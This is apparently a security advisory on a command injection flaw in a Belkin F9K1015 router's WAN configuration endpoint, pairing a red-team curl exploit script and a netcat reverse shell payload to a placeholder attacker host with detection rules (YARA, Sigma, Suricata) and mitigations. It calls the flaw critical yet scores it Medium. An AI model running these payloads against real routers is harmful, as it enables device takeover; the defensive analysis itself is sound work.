CVE-2025-11298

Executive Summary

CVE-2025-11298 is a critical command injection vulnerability in the Belkin F9K1015 router (firmware version 1.00.10). The flaw resides in the /goform/formSetWanStatic endpoint, where the m_wan_ipaddr parameter is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. The exploit has been publicly disclosed, increasing the risk of widespread scanning and compromise. The vendor has not responded to disclosure attempts, leaving devices unpatched and vulnerable.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Belkin router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – remotely exploitable.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification possible.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Medium. The exploit is public, but the EPSS score is 0.0% (low exploitation probability currently). However, due to the lack of a patch and the simplicity of the attack, this could escalate quickly.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the Belkin router’s web management interface. The /goform/formSetWanStatic endpoint is used to configure static WAN IP settings. The m_wan_ipaddr parameter is passed to a system shell without proper sanitization or escaping. An attacker can inject shell metacharacters (e.g., ;, |, &, `) to execute arbitrary commands.

Root Cause: The firmware uses a function like system() or popen() to apply network settings, directly concatenating user input into the command string. For example:

system("ifconfig wan0 " + m_wan_ipaddr);

If m_wan_ipaddr is 192.168.1.1; ls, the command becomes:

ifconfig wan0 192.168.1.1; ls

This executes ls after the intended command.

Attack Surface: The web interface is typically exposed on port 80/443. No authentication is required to access the /goform/formSetWanStatic endpoint, making it trivially exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Belkin F9K1015 1.00.10):

// Pseudocode of vulnerable handler
void handle_formSetWanStatic(char *m_wan_ipaddr) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ifconfig wan0 %s", m_wan_ipaddr);
    system(cmd); // Command injection
}

Patched Code (Hypothetical):

// Pseudocode of patched handler
void handle_formSetWanStatic(char *m_wan_ipaddr) {
    // Validate IP address format
    if (!is_valid_ipv4(m_wan_ipaddr)) {
        return error("Invalid IP");
    }
    // Use execve with sanitized arguments
    char *args[] = {"ifconfig", "wan0", m_wan_ipaddr, NULL};
    execve("/sbin/ifconfig", args, NULL);
}

No official patch exists. The vendor has not responded.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Belkin F9K1015 with firmware 1.00.10.
• Network access to the router’s web interface (default IP often 192.168.2.1).

Exploit:

#!/bin/bash
# CVE-2025-11298 Exploit
TARGET="http://192.168.2.1"
PAYLOAD="; id > /tmp/exploit.txt;"
curl -X POST "$TARGET/goform/formSetWanStatic" \
  -d "m_wan_ipaddr=192.168.1.1$PAYLOAD"
echo "Check /tmp/exploit.txt on router for output of 'id' command."

Explanation: The payload ; id > /tmp/exploit.txt; injects a command that writes the output of id to a file. The attacker can then retrieve the file via another endpoint (e.g., /tmp/exploit.txt if accessible) or use a reverse shell.

Reverse Shell Payload:

PAYLOAD="; nc -e /bin/sh attacker_ip 4444;"

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /goform/formSetWanStatic with suspicious parameters containing shell metacharacters (;, |, &, `).
• Look for outbound connections from the router to unusual IPs (e.g., netcat connections).

Hardening:

• Disable remote management if not needed.
• Place the router behind a firewall that blocks inbound access to the web interface from the WAN.
• Apply network segmentation to isolate IoT devices.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST to /goform/formSetWanStatic with m_wan_ipaddr containing shell metacharacters.
  • Outbound connections from the router to unknown IPs on ports like 4444 (netcat).
• File System:
  • Unexpected files in /tmp/ (e.g., exploit.txt, pwned).
  • Modified system binaries (e.g., /bin/sh replaced).
• Process:
  • Running processes like nc, bash, or python spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2025_11298_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-11298 command injection"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-11298"
    strings:
        $endpoint = "/goform/formSetWanStatic"
        $param = "m_wan_ipaddr"
        $shell_meta = /[;&|`$()]/
    condition:
        $endpoint and $param and #shell_meta > 0
}

Sigma Rule

title: CVE-2025-11298 Command Injection Attempt
id: cve-2025-11298
status: experimental
description: Detects HTTP POST requests to Belkin router endpoint with command injection payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/goform/formSetWanStatic'
        cs-uri-query|contains: 'm_wan_ipaddr'
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in IP fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11298 Belkin Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formSetWanStatic"; http_uri; content:"m_wan_ipaddr"; http_client_body; pcre:"/[;&|`$()]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, turn off remote access to the router’s web interface.
2. Firewall Rules: Block inbound traffic to ports 80/443 from the WAN side.
3. Network Segmentation: Place the router on a separate VLAN with limited internet access.

Long-Term:

• Firmware Update: Monitor Belkin’s website for a patch. If none is released, consider replacing the device.
• Vendor Communication: Report the vulnerability again via public channels (e.g., CERT/CC) to pressure a fix.

Workaround: If the router must be managed remotely, use a VPN to access the internal network instead of exposing the web interface.

Valters IT